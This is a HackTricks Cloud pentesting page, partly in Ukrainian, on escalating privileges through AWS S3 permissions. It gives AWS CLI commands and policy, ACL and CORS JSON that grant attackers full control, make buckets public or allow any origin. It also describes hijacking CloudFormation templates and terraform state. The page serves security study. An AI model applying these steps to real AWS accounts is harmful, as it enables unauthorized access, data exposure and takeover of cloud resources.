AWS - S3 Privesc
Reading time: 6 minutes
tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
S3
s3:PutBucketNotification, s3:PutObject, s3:GetObject
Attacker з тими permissions над цікавими buckets може hijack resources та escalate privileges.
Наприклад, attacker with those permissions over a cloudformation bucket called "cf-templates-nohnwfax6a6i-us-east-1" зможе hijack the deployment. Доступ може бути наданий за допомогою наступної політики:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"s3:PutBucketNotification",
"s3:GetBucketNotification",
"s3:PutObject",
"s3:GetObject"
],
"Resource": [
"arn:aws:s3:::cf-templates-*/*",
"arn:aws:s3:::cf-templates-*"
]
},
{
"Effect": "Allow",
"Action": "s3:ListAllMyBuckets",
"Resource": "*"
}
]
}
І захоплення можливе, тому що існує невелике часове вікно від моменту, коли шаблон завантажується у bucket до моменту, коли шаблон розгортається. Атакуючий може просто створити lambda function у своєму акаунті, яка trigger-иться при надсиланні bucket notification, і hijacks вміст цього bucket.
.png)
Модуль Pacu cfn__resouce_injection може бути використаний для автоматизації цієї атаки.
Для більш докладної інформації див. оригінальне дослідження: https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/
s3:PutObject, s3:GetObject
Це дозволи для отримання та завантаження об'єктів у S3. Декілька сервісів всередині AWS (та поза ним) використовують S3 для зберігання config files.
Атакуючий з read access до них може знайти на них sensitive information.
Атакуючий з write access до них може modify the data to abuse some service and try to escalate privileges.
Ось декілька прикладів:
- Якщо EC2 instance зберігає user data in a S3 bucket, атакуючий може змінити його, щоб execute arbitrary code inside the EC2 instance.
s3:PutObject, s3:GetObject (optional) over terraform state file
Дуже часто [terraform] state files зберігаються в blob storage провайдерів хмари, напр., AWS S3. Суфікс файлу для state file — .tfstate, а назви bucket-ів часто також видають, що в них містяться terraform state files. Зазвичай у кожного AWS акаунту є такий bucket для зберігання state files, які показують стан акаунту.
Також у реальних акаунтах майже завжди всі розробники мають s3:*, а іноді навіть бізнес-користувачі мають s3:Put*.
Отже, якщо у вас є перераховані дозволи до цих файлів, є вектор атаки, який дозволяє отримати RCE в pipeline з привілеями terraform — у більшості випадків AdministratorAccess, роблячи вас адміністратором хмарного акаунту. Також ви можете використати цей вектор для denial of service атаки, змусивши terraform видалити легітимні ресурси.
Follow the description in the Abusing Terraform State Files section of the Terraform Security page for directly usable exploit code:
s3:PutBucketPolicy
Атакуючий, який має бути з того самого акаунту, якщо ні — буде тригеритись помилка The specified method is not allowed, з цим дозволом зможе надати собі більше прав над bucket(ами), дозволяючи читати, записувати, змінювати, видаляти та expose-ити buckets.
# Update Bucket policy
aws s3api put-bucket-policy --policy file:///root/policy.json --bucket <bucket-name>
## JSON giving permissions to a user and mantaining some previous root access
{
"Id": "Policy1568185116930",
"Version":"2012-10-17",
"Statement":[
{
"Effect":"Allow",
"Principal":{
"AWS":"arn:aws:iam::123123123123:root"
},
"Action":"s3:ListBucket",
"Resource":"arn:aws:s3:::somebucketname"
},
{
"Effect":"Allow",
"Principal":{
"AWS":"arn:aws:iam::123123123123:user/username"
},
"Action":"s3:*",
"Resource":"arn:aws:s3:::somebucketname/*"
}
]
}
## JSON Public policy example
### IF THE S3 BUCKET IS PROTECTED FROM BEING PUBLICLY EXPOSED, THIS WILL THROW AN ACCESS DENIED EVEN IF YOU HAVE ENOUGH PERMISSIONS
{
"Id": "Policy1568185116930",
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Stmt1568184932403",
"Action": [
"s3:ListBucket"
],
"Effect": "Allow",
"Resource": "arn:aws:s3:::welcome",
"Principal": "*"
},
{
"Sid": "Stmt1568185007451",
"Action": [
"s3:GetObject"
],
"Effect": "Allow",
"Resource": "arn:aws:s3:::welcome/*",
"Principal": "*"
}
]
}
s3:GetBucketAcl, s3:PutBucketAcl
An attacker може зловживати цими дозволами, щоб отримати більше прав над конкретними buckets.
Зауважте, що attacker не обов'язково має бути з того самого account. Більше того, write access
# Update bucket ACL
aws s3api get-bucket-acl --bucket <bucket-name>
aws s3api put-bucket-acl --bucket <bucket-name> --access-control-policy file://acl.json
##JSON ACL example
## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved.
{
"Owner": {
"DisplayName": "<DisplayName>",
"ID": "<ID>"
},
"Grants": [
{
"Grantee": {
"Type": "Group",
"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers"
},
"Permission": "FULL_CONTROL"
}
]
}
## An ACL should give you the permission WRITE_ACP to be able to put a new ACL
s3:GetObjectAcl, s3:PutObjectAcl
Атакуючий може зловживати цими дозволами, щоб надати собі більший доступ до конкретних об'єктів у бакетах.
# Update bucket object ACL
aws s3api get-object-acl --bucket <bucekt-name> --key flag
aws s3api put-object-acl --bucket <bucket-name> --key flag --access-control-policy file://objacl.json
##JSON ACL example
## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved.
{
"Owner": {
"DisplayName": "<DisplayName>",
"ID": "<ID>"
},
"Grants": [
{
"Grantee": {
"Type": "Group",
"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers"
},
"Permission": "FULL_CONTROL"
}
]
}
## An ACL should give you the permission WRITE_ACP to be able to put a new ACL
s3:GetObjectAcl, s3:PutObjectVersionAcl
Очікується, що нападник із цими привілеями зможе встановити Acl для конкретної версії об'єкта.
aws s3api get-object-acl --bucket <bucekt-name> --key flag
aws s3api put-object-acl --bucket <bucket-name> --key flag --version-id <value> --access-control-policy file://objacl.json
s3:PutBucketCORS
Атакувальник, який має дозвіл s3:PutBucketCORS, може змінювати CORS (Cross-Origin Resource Sharing) конфігурацію bucket, що контролює, які веб-домени можуть звертатися до його кінцевих точок. Якщо він встановить дозволяючу політику, будь-який сайт зможе робити прямі запити до bucket і читати відповіді з браузера.
Це означає, що потенційно, якщо аутентифікований користувач веб-застосунку, розміщеного в bucket, відвідає сайт атакувача, останній може використати дозволяючу CORS-політику і, залежно від застосунку, отримати доступ до профільних даних користувача або навіть захопити обліковий запис користувача.
aws s3api put-bucket-cors \
--bucket <BUCKET_NAME> \
--cors-configuration '{
"CORSRules": [
{
"AllowedOrigins": ["*"],
"AllowedMethods": ["GET", "PUT", "POST"],
"AllowedHeaders": ["*"],
"ExposeHeaders": ["x-amz-request-id"],
"MaxAgeSeconds": 3000
}
]
}'
tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
HackTricks Cloud